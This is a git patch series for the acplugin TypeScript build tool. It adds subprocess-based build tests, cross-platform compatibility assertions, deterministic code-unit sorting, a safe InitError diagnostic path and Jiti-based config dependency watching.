from 'node:os'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; -import { describe, expect, it } from 'vitest'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { BuildResult } from '@tokenroll/acplugin'; import { codex } from '@tokenroll/acplugin'; import { PLATFORM_ID } from '@tokenroll/acplugin/platforms/codex'; /** 跨包契约测试读取源码边界时使用的仓库根目录。 */ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); +/** 配置和生命周期共用品牌实例的主包真实构建入口。 */ +const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); + +/** 当前测试创建并在 afterEach 中删除的临时工程。 */ +const temporaryRoots: string[] = []; + +/** + * 在原生 Node ESM 子进程中运行已构建主包。 + * + * @param root 包含真实配置文件的临时项目根。 + * @returns 公开 runProject 产生的结构化结果。 + */ +async function runBuiltProject(root: string): Promise { + /** 子进程加载公开入口并返回稳定 JSON 的 ESM 源码。 */ + const source = ` +import { runProject } from ${JSON.stringify(acpluginEntry)}; +try { + const result = await runProject(${JSON.stringify({ cwd: root, command: 'build', mode: 'production' })}); + process.stdout.write(JSON.stringify({ ok: true, result })); +} catch (error) { + process.stdout.write(JSON.stringify({ + ok: false, + message: error instanceof Error ? error.message : 'Project execution failed.', + })); +} +`; + /** 不经过 Vitest alias 的原生 ESM 执行结果。 */ + const execution = await new Promise<{ readonly code: number | null; readonly stdout: string; readonly stderr: string }>((resolve, reject) => { + /** 与真实 CLI 相同模块边界的 Node 子进程。 */ + const child = spawn(process.execPath, ['--input-type=module', '--eval', source], { + env: process.env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + /** 子进程累计的 JSON 标准输出。 */ + let stdout = ''; + /** 子进程累计的错误输出。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => stdout += chunk); + child.stderr.on('data', (chunk: string) => stderr += chunk); + child.once('error', reject); + child.once('close', code => resolve({ code, stdout, stderr })); + }); + if (execution.code !== 0) + throw new Error(`Project subprocess failed: ${execution.stderr}`); + /** 子进程返回的成功结果或安全错误摘要。 */ + const payload = JSON.parse(execution.stdout) as { readonly ok: boolean; readonly result?: BuildResult; readonly message?: string }; + if (!payload.ok || payload.result === undefined) + throw new Error(payload.message ?? 'Project execution failed.'); + return payload.result; +} + /** * 递归读取 Codex Platform 的全部 TypeScript 源码。 * @@ -31,6 +87,10 @@ async function platformSources(directory: string): Promise { return sources.join('\n'); } +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + describe('Codex public Platform integration', () => { it('re-exports the private Platform factory with typed interface and Marketplace policy', () => { /** 通过正式公开主包创建的 Codex Platform。 */ @@ -75,4 +135,47 @@ describe('Codex public Platform integration', () => { expect(source).not.toContain('@tokenroll/acplugin-module-hooks'); expect(source).not.toContain('@tokenroll/acplugin-module-mcp'); }); + + it('reports an independent arguments transformation only when the Command uses the placeholder', async () => { + /** 覆盖有参数和无参数 Command 的真实 Scanner/Lifecycle 工程。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-codex-arguments-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/deploy.md'), `--- +description: Deploy an environment. +--- +Deploy {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/commands/status.md'), `--- +description: Show deployment status. +--- +Show deployment status. +`); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import { codex } from ${JSON.stringify(acpluginEntry)}; +export default { + name: 'codex-arguments', + version: '1.0.0', + description: 'Verify Codex argument compatibility.', + platforms: [codex({ strict: false })], +}; +`); + /** 执行真实配置加载、扫描、转换、候选校验和事务后的结果。 */ + const result = await runBuiltProject(root); + + expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'command:deploy', + capability: 'arguments', + level: 'transform', + })); + expect(result.compatibility).not.toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'command:status', + capability: 'arguments', + })); + expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/command-deploy/SKILL.md'), 'utf8')) + .toContain('the arguments supplied with this explicit invocation'); + }); }); diff --git a/packages/test/test/secondary-platforms.test.ts b/packages/test/test/secondary-platforms.test.ts index 84c409b..03e1a52 100644 --- a/packages/test/test/secondary-platforms.test.ts +++ b/packages/test/test/secondary-platforms.test.ts @@ -128,6 +128,9 @@ Prepare release {{arguments}}. `); await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- description: Review the current change. +invocation: + user: false + model: true --- Review the implementation. `); @@ -137,7 +140,9 @@ description: Review code changes. model: capable capabilities: - filesystem:read + - filesystem:write - search + - shell --- Review code and report findings. `); @@ -267,6 +272,47 @@ describe('secondary official Platforms', () => { }, }); expect(piPackage).not.toHaveProperty('private'); + /** 四个平台针对三类 Component 实际提交的完整能力结论。 */ + const componentCompatibility = (platform: string): string[] => result.compatibility + .filter(entry => entry.platform === platform && /^(?:command|skill|agent):/u.test(entry.subject)) + .map(entry => `${entry.subject}/${entry.capability}/${entry.level}`) + .sort(); + expect(componentCompatibility('cursor')).toEqual([ + 'agent:reviewer/agent.capabilities/degraded', + 'agent:reviewer/agent.model/degraded', + 'agent:reviewer/component/native', + 'command:release/argumentHint/degraded', + 'command:release/component/native', + 'skill:review/component/native', + 'skill:review/invocation.user/degraded', + ].sort()); + expect(componentCompatibility('antigravity')).toEqual([ + 'agent:reviewer/agent.capabilities/degraded', + 'agent:reviewer/agent.model/degraded', + 'agent:reviewer/component/degraded', + 'command:release/argumentHint/degraded', + 'command:release/component/transform', + 'skill:review/component/native', + 'skill:review/invocation/degraded', + ].sort()); + expect(componentCompatibility('opencode')).toEqual([ + 'agent:reviewer/agent.capabilities/transform', + 'agent:reviewer/agent.model/degraded', + 'agent:reviewer/component/native', + 'command:release/argumentHint/degraded', + 'command:release/component/native', + 'skill:review/component/native', + 'skill:review/invocation/degraded', + ].sort()); + expect(componentCompatibility('pi')).toEqual([ + 'agent:reviewer/agent.capabilities/degraded', + 'agent:reviewer/agent.model/degraded', + 'agent:reviewer/component/degraded', + 'command:release/argumentHint/native', + 'command:release/component/transform', + 'skill:review/component/native', + 'skill:review/invocation/degraded', + ].sort()); expect(result.compatibility).toEqual(expect.arrayContaining([ expect.objectContaining({ platform: 'cursor', subject: 'mcp:local-tools', level: 'unsupported' }), expect.objectContaining({ platform: 'antigravity', subject: 'command:release', level: 'transform' }), @@ -296,6 +342,11 @@ describe('secondary official Platforms', () => { await fs.rm(path.join(root, 'src/agents'), { recursive: true, force: true }); await fs.rm(path.join(root, 'src/mcp'), { recursive: true, force: true }); await fs.rm(path.join(root, 'src/hooks/permission'), { recursive: true, force: true }); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- +description: Review the current change. +--- +Review the implementation. +`); /** strict Skills/Commands/SessionStart 构建结果。 */ const supported = await runProject({ cwd: root, From 935e195c8a4928492cd4b0297213ad1bed693582 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:45:01 +0800 Subject: [PATCH 07/27] fix(extensions): stabilize bundles and enforce protocol smoke --- packages/extensions/hooks/src/bundler.ts | 19 +++++++++-- packages/extensions/hooks/src/discovery.ts | 15 ++++++++- .../extensions/hooks/src/runtime-source.ts | 2 +- packages/extensions/mcp/src/adapters.ts | 15 ++++++++- packages/extensions/mcp/src/bundler.ts | 19 +++++++++-- packages/extensions/mcp/src/discovery.ts | 15 ++++++++- packages/extensions/mcp/test/mcp.test.ts | 33 ++++++++++--------- 7 files changed, 93 insertions(+), 25 deletions(-) diff --git a/packages/extensions/hooks/src/bundler.ts b/packages/extensions/hooks/src/bundler.ts index 62d9b4c..eb4603a 100644 --- a/packages/extensions/hooks/src/bundler.ts +++ b/packages/extensions/hooks/src/bundler.ts @@ -6,6 +6,19 @@ import { EXTENSION_NAME } from './constants.js'; import type { DiscoveredHook, DiscoveredHooks } from './discovery.js'; import { createRunnerSource } from './runtime-source.js'; +/** + * 按 UTF-16 code unit 比较 Bundle 元数据,不依赖宿主 locale/ICU。 + * + * @param left 左侧字符串。 + * @param right 右侧字符串。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** 单个 Hook 构建完成的可执行 Handler 与可选第三方许可材料。 */ export interface BundledHook { /** Hook 的稳定作者 ID。 */ @@ -94,7 +107,7 @@ async function packageLicenseForModule(moduleId: string): Promise entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/iu.test(entry.name)) .map(entry => entry.name) - .sort((left, right) => left.localeCompare(right, 'en')); + .sort(compareCodeUnits); if (noticeFiles.length === 0) throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); return { @@ -128,7 +141,7 @@ async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): P /** 按包名和版本去重的许可记录。 */ const records = new Map(); /** moduleId 表示当前 Bundle Module,用于追溯第三方许可。 */ - for (const moduleId of Object.keys(chunk.modules).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const moduleId of Object.keys(chunk.modules).sort(compareCodeUnits)) { /** 当前 Bundle Module 所属的可选第三方包许可。 */ const record = await packageLicenseForModule(moduleId); if (record !== undefined) @@ -138,7 +151,7 @@ async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): P return undefined; /** 按确定顺序拼接的许可文件段落。 */ const sections = ['THIRD-PARTY LICENSES']; - for (const [id, record] of [...records].sort(([left], [right]) => left.localeCompare(right, 'en'))) { + for (const [id, record] of [...records].sort(([left], [right]) => compareCodeUnits(left, right))) { sections.push(`## ${id}\nSPDX: ${record.license}`); /** notice 表示当前包的一个 LICENSE 或 NOTICE 文件。 */ for (const notice of record.notices) diff --git a/packages/extensions/hooks/src/discovery.ts b/packages/extensions/hooks/src/discovery.ts index 9ab2347..57fe838 100644 --- a/packages/extensions/hooks/src/discovery.ts +++ b/packages/extensions/hooks/src/discovery.ts @@ -23,6 +23,19 @@ import { type PlatformHookEvent, } from './types.js'; +/** + * 按 UTF-16 code unit 比较 Hook 目录项,不依赖宿主 locale/ICU。 + * + * @param left 左侧名称。 + * @param right 右侧名称。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** discover 阶段保存的 Hook ID、来源目录和已执行定义。 */ export interface DiscoveredHook { /** 从一级目录名称取得的稳定 Hook ID。 */ @@ -148,7 +161,7 @@ export async function discoverHooks( const hooks: DiscoveredHook[] = []; /** include 中已经在源码目录找到的 Hook ID。 */ const includedIds = new Set(); - for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + for (const entry of entries.sort((left, right) => compareCodeUnits(left.name, right.name))) { /** 当前 Hook 候选目录的绝对路径。 */ const directory = path.join(root, entry.name); if (!entry.isDirectory() || !HOOK_ID_PATTERN.test(entry.name)) { diff --git a/packages/extensions/hooks/src/runtime-source.ts b/packages/extensions/hooks/src/runtime-source.ts index f59e133..201c9aa 100644 --- a/packages/extensions/hooks/src/runtime-source.ts +++ b/packages/extensions/hooks/src/runtime-source.ts @@ -137,7 +137,7 @@ function stableErrorCode(error, fallback) { } function intercept(chunk, encoding, callback) { - interceptedBytes += Buffer.byteLength(typeof chunk === 'string' ? chunk : chunk); + interceptedBytes += Buffer.byteLength(chunk); if (interceptedBytes > MAX_BYTES) { interceptedFailure = 'HANDLER_OUTPUT_TOO_LARGE'; throw new Error(interceptedFailure); diff --git a/packages/extensions/mcp/src/adapters.ts b/packages/extensions/mcp/src/adapters.ts index c35c9fb..d480300 100644 --- a/packages/extensions/mcp/src/adapters.ts +++ b/packages/extensions/mcp/src/adapters.ts @@ -19,6 +19,19 @@ import { } from './constants.js'; import type { ValueSource } from './types.js'; +/** + * 按 UTF-16 code unit 比较 MCP 配置键,不依赖宿主 locale/ICU。 + * + * @param left 左侧名称。 + * @param right 右侧名称。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** 拆分后可分别映射到平台字面量和环境引用字段的值。 */ interface MappedValues { /** 可以直接写入目标清单的非敏感字面量。 */ @@ -39,7 +52,7 @@ function mapValues(values: Readonly> | undefined): M /** 只写变量名称、由安装运行时读取真实值的引用。 */ const environment: Record = {}; /** [name, source] 表示当前已验证的 ValueSource 映射。 */ - for (const [name, source] of Object.entries(values ?? {}).sort(([left], [right]) => left.localeCompare(right, 'en'))) { + for (const [name, source] of Object.entries(values ?? {}).sort(([left], [right]) => compareCodeUnits(left, right))) { if ('value' in source) literal[name] = source.value; else diff --git a/packages/extensions/mcp/src/bundler.ts b/packages/extensions/mcp/src/bundler.ts index bb88ea1..75e471e 100644 --- a/packages/extensions/mcp/src/bundler.ts +++ b/packages/extensions/mcp/src/bundler.ts @@ -6,6 +6,19 @@ import { parseAst } from 'rolldown/parseAst'; import type { ExtensionBuildContext } from '@tokenroll/acplugin'; import type { DiscoveredMcpServer, DiscoveredMcpServers } from './discovery.js'; +/** + * 按 UTF-16 code unit 比较 Bundle 元数据,不依赖宿主 locale/ICU。 + * + * @param left 左侧字符串。 + * @param right 右侧字符串。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** 单个 stdio MCP Server 的独立可执行文件与许可文件。 */ export interface BundledMcpServer { /** Rolldown 生成的单文件 Node 20 ESM Server 路径。 */ @@ -81,7 +94,7 @@ async function packageLicenseForModule(moduleId: string): Promise entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/iu.test(entry.name)) .map(entry => entry.name) - .sort((left, right) => left.localeCompare(right, 'en')); + .sort(compareCodeUnits); if (noticeFiles.length === 0) throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); return { @@ -115,7 +128,7 @@ async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): P /** 按包名和版本去重的许可记录。 */ const records = new Map(); /** moduleId 表示当前 Bundle Module,用于追溯第三方许可。 */ - for (const moduleId of Object.keys(chunk.modules).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const moduleId of Object.keys(chunk.modules).sort(compareCodeUnits)) { /** 当前 Bundle Module 所属的可选第三方包许可。 */ const record = await packageLicenseForModule(moduleId); if (record !== undefined) @@ -126,7 +139,7 @@ async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): P /** 按确定顺序拼接的许可文件段落。 */ const sections = ['THIRD-PARTY LICENSES']; /** [id, record] 表示当前许可记录,用于输出稳定法律文本。 */ - for (const [id, record] of [...records].sort(([left], [right]) => left.localeCompare(right, 'en'))) { + for (const [id, record] of [...records].sort(([left], [right]) => compareCodeUnits(left, right))) { sections.push(`## ${id}\nSPDX: ${record.license}`); /** notice 表示当前包的一个 LICENSE 或 NOTICE 文件。 */ for (const notice of record.notices) diff --git a/packages/extensions/mcp/src/discovery.ts b/packages/extensions/mcp/src/discovery.ts index e26fd48..f8d1f8d 100644 --- a/packages/extensions/mcp/src/discovery.ts +++ b/packages/extensions/mcp/src/discovery.ts @@ -11,6 +11,19 @@ import { type ValueSource, } from './types.js'; +/** + * 按 UTF-16 code unit 比较 MCP 目录项,不依赖宿主 locale/ICU。 + * + * @param left 左侧名称。 + * @param right 右侧名称。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** discover 阶段保存的 MCP 描述、目录与已执行定义。 */ export interface DiscoveredMcpServer { /** 从一级目录名称取得的 MCP Server ID。 */ @@ -115,7 +128,7 @@ export async function discoverMcpServers( const servers: DiscoveredMcpServer[] = []; /** include 中已经在源码目录找到的 Server ID。 */ const includedIds = new Set(); - for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + for (const entry of entries.sort((left, right) => compareCodeUnits(left.name, right.name))) { /** 当前 MCP Server 候选目录的绝对路径。 */ const directory = path.join(root, entry.name); if (!entry.isDirectory() || !MCP_ID_PATTERN.test(entry.name)) { diff --git a/packages/extensions/mcp/test/mcp.test.ts b/packages/extensions/mcp/test/mcp.test.ts index 3cfa1fe..155784c 100644 --- a/packages/extensions/mcp/test/mcp.test.ts +++ b/packages/extensions/mcp/test/mcp.test.ts @@ -371,21 +371,24 @@ describe('MCP Extension', () => { expect(local.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_ESCAPE' })); }); - it('rejects local bundles that do not complete the MCP protocol smoke', async () => { - /** 立即退出且不响应 initialize 的无效本地实现。 */ - const root = await createProject({ - remote: false, - serverSource: 'process.exit(0);\n', - }); - /** 构建必须在提交任何 Platform 产物前执行真实协议探测。 */ - const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'MCP_STDIO_SMOKE_FAILED', - phase: 'build', - })); - await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + it('rejects local bundles that fail the MCP protocol smoke in both build modes', async () => { + /** mode 表示当前必须执行真实 initialize/tools-list 探测的构建模式。 */ + for (const mode of ['development', 'production'] as const) { + /** 立即退出且不响应 initialize 的无效本地实现。 */ + const root = await createProject({ + remote: false, + serverSource: 'process.exit(0);\n', + }); + /** 两种模式都必须在提交任何 Platform 产物前执行真实协议探测。 */ + const result = await runProject({ cwd: root, command: 'build', mode }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'MCP_STDIO_SMOKE_FAILED', + phase: 'build', + })); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + } }); it('rejects unresolved runtime dynamic imports in local MCP bundles', async () => { From 14ae2f397dfc82285c426b1718b106a53dda302a Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:45:18 +0800 Subject: [PATCH 08/27] fix(cli): harden config watching and input diagnostics --- packages/acplugin/src/cli.ts | 24 +++-- packages/acplugin/src/init.ts | 24 +++-- packages/acplugin/src/project-config.ts | 92 +++++++++++++++++--- packages/acplugin/src/run-project.ts | 17 +++- packages/acplugin/test/config-loader.test.ts | 30 +++++++ packages/test/test/cli.test.ts | 68 +++++++++++++++ packages/test/test/init.test.ts | 6 ++ 7 files changed, 228 insertions(+), 33 deletions(-) diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts index 991a451..b1f1538 100644 --- a/packages/acplugin/src/cli.ts +++ b/packages/acplugin/src/cli.ts @@ -16,6 +16,7 @@ import { type InitPlatformId, type PlatformId, } from './index.js'; +import { InitError } from './init.js'; import { executeProject, type ProjectExecution } from './run-project.js'; /** validate、inspect、build 和 dev 命令共享的 CLI 选项。 */ @@ -117,15 +118,17 @@ interface CliFailureReport { * @returns 可序列化的统一失败报告。 */ function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { - /** 配置错误保留原诊断,其他异常只输出固定安全消息。 */ + /** 配置和已知 init 输入错误保留安全诊断,其他异常只输出固定消息。 */ const diagnostics = error instanceof ProjectConfigError ? error.diagnostics - : [{ - code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', - severity: 'error' as const, - message: internal ? 'The command failed inside the framework.' : `${command} failed.`, - phase: internal ? 'internal' : command, - }]; + : error instanceof InitError + ? [{ code: 'INIT_INVALID', severity: 'error' as const, message: error.message, phase: command }] + : [{ + code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', + severity: 'error' as const, + message: internal ? 'The command failed inside the framework.' : `${command} failed.`, + phase: internal ? 'internal' : command, + }]; return { schemaVersion: '1', command, diagnostics, success: false }; } @@ -676,7 +679,12 @@ export async function main(argv: readonly string[] = process.argv): Promise argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { + const flagArguments = argv.slice(2); + /** `--` 之后的值属于位置参数,不再参与 legacy option 探测。 */ + const terminator = flagArguments.indexOf('--'); + /** Commander option 终止符之前的真实选项候选。 */ + const scannedArguments = terminator === -1 ? flagArguments : flagArguments.slice(0, terminator); + if (scannedArguments.some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { program.error('option \'--target\' has been removed; use \'--platform \' instead', { exitCode: 2, code: 'acplugin.legacyTarget', diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts index 8d34f47..1969ad2 100644 --- a/packages/acplugin/src/init.ts +++ b/packages/acplugin/src/init.ts @@ -44,6 +44,12 @@ export interface InitResult { /** `init` 可以写入脚手架的六个官方 Platform ID。 */ export type InitPlatformId = 'claude-code' | 'codex' | 'cursor' | 'antigravity' | 'opencode' | 'pi'; +/** 只承载可安全向 CLI 用户展示的已知脚手架输入错误。 */ +export class InitError extends Error { + /** 稳定标识内部错误类别,但不进入公开 facade。 */ + override readonly name = 'InitError'; +} + /** 无交互脚手架默认启用的正式支持 Platform。 */ const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; @@ -94,9 +100,9 @@ async function assertDestination(directory: string): Promise { /** 已存在目标的文件类型和符号链接状态。 */ const stat = await fs.lstat(directory); if (!stat.isDirectory() || stat.isSymbolicLink()) - throw new Error('destination exists and is not a regular directory'); + throw new InitError('destination exists and is not a regular directory'); if ((await fs.readdir(directory)).length > 0) - throw new Error('destination directory is not empty'); + throw new InitError('destination directory is not empty'); } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') return; @@ -170,7 +176,7 @@ function packageSource(name: string, hooks: boolean, mcp: boolean): string { private: true, type: 'module', packageManager: 'pnpm@10.34.5', - engines: { node: '>=20' }, + engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, scripts: { dev: 'acplugin dev', validate: 'acplugin validate', @@ -210,7 +216,7 @@ export async function initializeProject(options: InitOptions): Promise(); /** platform 表示当前需要验证和稳定去重的脚手架 Platform。 */ for (const platform of platforms) { if (!Object.hasOwn(PLATFORM_FACTORIES, platform)) - throw new Error(`Unknown init Platform "${platform}".`); + throw new InitError(`Unknown init Platform "${platform}".`); if (seenPlatforms.has(platform)) - throw new Error(`Duplicate init Platform "${platform}".`); + throw new InitError(`Duplicate init Platform "${platform}".`); seenPlatforms.add(platform); } diff --git a/packages/acplugin/src/project-config.ts b/packages/acplugin/src/project-config.ts index a43192e..7598209 100644 --- a/packages/acplugin/src/project-config.ts +++ b/packages/acplugin/src/project-config.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import { createJiti } from 'jiti'; +import { createJiti, type TransformOptions, type TransformResult } from 'jiti'; import { resolveConfig, type BuildCommand, @@ -51,7 +51,7 @@ export interface LoadProjectConfigOptions { export interface LoadedProjectConfig { /** 完成默认值、路径和 Extension 校验的不可变配置。 */ readonly config: ResolvedConfig; - /** 配置入口和通过共享加载器实际读取的 Extension descriptor 绝对路径。 */ + /** 配置入口、Jiti 实际转换的依赖和共享加载器读取的 descriptor 绝对路径。 */ readonly watchFiles: ReadonlySet; /** descriptor 所属且需要递归监听解析依赖的真实 Package 根。 */ readonly watchRoots: ReadonlySet; @@ -64,6 +64,31 @@ export interface LoadedProjectConfig { loadTypeScriptModule(modulePath: string): Promise; } +/** + * 判断候选路径是否等于指定根或位于根目录内部。 + * + * @param root 已规范化的绝对根目录。 + * @param candidate 待判断的绝对路径。 + * @returns 候选位于根边界内时返回 true。 + */ +function isInside(root: string, candidate: string): boolean { + /** 从根目录指向候选的相对路径。 */ + const relative = path.relative(root, candidate); + return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); +} + +/** + * 排除 Jiti 自身临时/cache 产物,防止 dev 监听执行器的机器相关文件。 + * + * @param candidate 待登记的绝对模块路径。 + * @returns 路径属于 Jiti cache 或 ESM fallback 临时目录时返回 true。 + */ +function isJitiTemporaryPath(candidate: string): boolean { + /** 统一分隔符后匹配 Jiti 的两个实现级临时目录。 */ + const normalized = candidate.split(path.sep).join('/'); + return /(?:^|\/)(?:node_modules\/\.cache\/jiti|jiti-esm)(?:\/|$)/u.test(normalized); +} + /** * 通过 Jiti 导入模块的默认导出,并屏蔽其泛型返回细节。 * @@ -137,8 +162,23 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom }], error); } + /** Jiti 公共 transform seam 使用的默认转换实现。 */ + const transformer = createJiti(import.meta.url, { interopDefault: true, moduleCache: false, fsCache: false }); + /** 配置执行期间由 Jiti 实际转换的模块逻辑路径。 */ + const transformedFiles = new Set(); + /** 包装默认转换器,既不解析 debug 输出也不建立第二条配置执行路径。 */ + const transform = (transformOptions: TransformOptions): TransformResult => { + if (transformOptions.filename !== undefined && path.isAbsolute(transformOptions.filename)) + transformedFiles.add(path.normalize(transformOptions.filename)); + return { code: transformer.transform(transformOptions) }; + }; /** 当前配置及其引用 Extension 共用的无缓存 TypeScript 执行器。 */ - const jiti = createJiti(import.meta.url, { interopDefault: true, moduleCache: false, fsCache: false }); + const jiti = createJiti(import.meta.url, { + interopDefault: true, + moduleCache: false, + fsCache: false, + transform, + }); /** dev 需要监听的配置入口与后续实际加载 descriptor 路径。 */ const watchFiles = new Set([configPath]); /** dev 需要递归监听且不能被 node_modules 通用规则过滤的依赖根。 */ @@ -190,22 +230,46 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom const config = resolved.config; /** 用于避免把本就递归监听的工程根重复提升为依赖包根的真实路径。 */ const projectRealRoot = await fs.realpath(config.root).catch(() => config.root); + /** + * 登记一个执行器实际读取的逻辑/真实模块,并按外部 package 根保守监听其依赖。 + * + * @param modulePath Jiti 转换或 descriptor 加载观察到的绝对路径。 + * @param includeProjectPackageRoot descriptor 是否保留既有的同工程 package 根登记语义。 + */ + const addWatchedModule = async (modulePath: string, includeProjectPackageRoot = false): Promise => { + /** 模块的规范逻辑路径,用于保留 symlink 入口变化。 */ + const resolvedPath = path.resolve(modulePath); + /** 模块的真实路径,用于跟随 pnpm/workspace 符号链接。 */ + const realPath = await fs.realpath(resolvedPath).catch(() => resolvedPath); + if (isJitiTemporaryPath(resolvedPath) + || isJitiTemporaryPath(realPath) + || isInside(config.outDir, resolvedPath) + || isInside(config.outDir, realPath)) { + return; + } + watchFiles.add(resolvedPath); + watchFiles.add(realPath); + if (isInside(projectRealRoot, realPath) && !includeProjectPackageRoot) + return; + /** 工程外依赖以最近 package 根递归监听,覆盖同包内未经过 transform 的原生依赖。 */ + const packageRoot = await nearestPackageRoot(realPath); + if (packageRoot !== projectRealRoot && !isInside(config.outDir, packageRoot)) + watchRoots.add(packageRoot); + }; + /** 配置入口执行完成后,transform 集合已包含其实际 TypeScript/CJS import closure。 */ + for (const modulePath of transformedFiles) + await addWatchedModule(modulePath); return { config, watchFiles, watchRoots, /** loadTypeScriptModule 提供当前对象协议要求的回调实现。 */ loadTypeScriptModule: async (modulePath) => { - /** descriptor 的逻辑绝对路径,用于保留符号链接入口的变化事件。 */ - const resolvedPath = path.resolve(modulePath); - /** descriptor 的真实路径,用于 pnpm 符号链接后的包源码监听。 */ - const realPath = await fs.realpath(resolvedPath).catch(() => resolvedPath); - watchFiles.add(resolvedPath); - watchFiles.add(realPath); - /** descriptor 所属包根;工程自身无需绕过 node_modules 忽略规则。 */ - const packageRoot = await nearestPackageRoot(realPath); - if (packageRoot !== projectRealRoot) - watchRoots.add(packageRoot); - return importDefault(jiti, modulePath); + await addWatchedModule(modulePath, true); + /** descriptor 执行可能继续扩展 transform closure。 */ + const result = await importDefault(jiti, modulePath); + for (const transformedPath of transformedFiles) + await addWatchedModule(transformedPath); + return result; }, }; } diff --git a/packages/acplugin/src/run-project.ts b/packages/acplugin/src/run-project.ts index 6d139f2..fe2df1a 100644 --- a/packages/acplugin/src/run-project.ts +++ b/packages/acplugin/src/run-project.ts @@ -11,6 +11,19 @@ import { type LoadProjectConfigOptions, } from './project-config.js'; +/** + * 按 UTF-16 code unit 比较内部监听路径,避免宿主 locale/ICU 改变顺序。 + * + * @param left 左侧路径。 + * @param right 右侧路径。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** 公开程序化 Pipeline 的配置定位和运行控制选项。 */ export interface RunProjectOptions extends LoadProjectConfigOptions { /** 可选的已配置 Platform 子集;不能凭 ID 临时实例化 Platform。 */ @@ -118,8 +131,8 @@ export async function executeProject(options: RunProjectOptions): Promise left.localeCompare(right, 'en')); + ])].sort(compareCodeUnits); /** Extension descriptor 所属且需要递归监听的去重真实包根。 */ - const dependencyRoots = [...loaded.watchRoots].sort((left, right) => left.localeCompare(right, 'en')); + const dependencyRoots = [...loaded.watchRoots].sort(compareCodeUnits); return { result, projectRoot: config.root, outDir: config.outDir, watchPaths, dependencyRoots }; } diff --git a/packages/acplugin/test/config-loader.test.ts b/packages/acplugin/test/config-loader.test.ts index e5f29f4..0d6fb36 100644 --- a/packages/acplugin/test/config-loader.test.ts +++ b/packages/acplugin/test/config-loader.test.ts @@ -69,6 +69,36 @@ describe('config loader', () => { expect(second.config.metadata.version).toBe('2.0.0'); }); + it('records and fresh-loads an external static TypeScript config dependency', async () 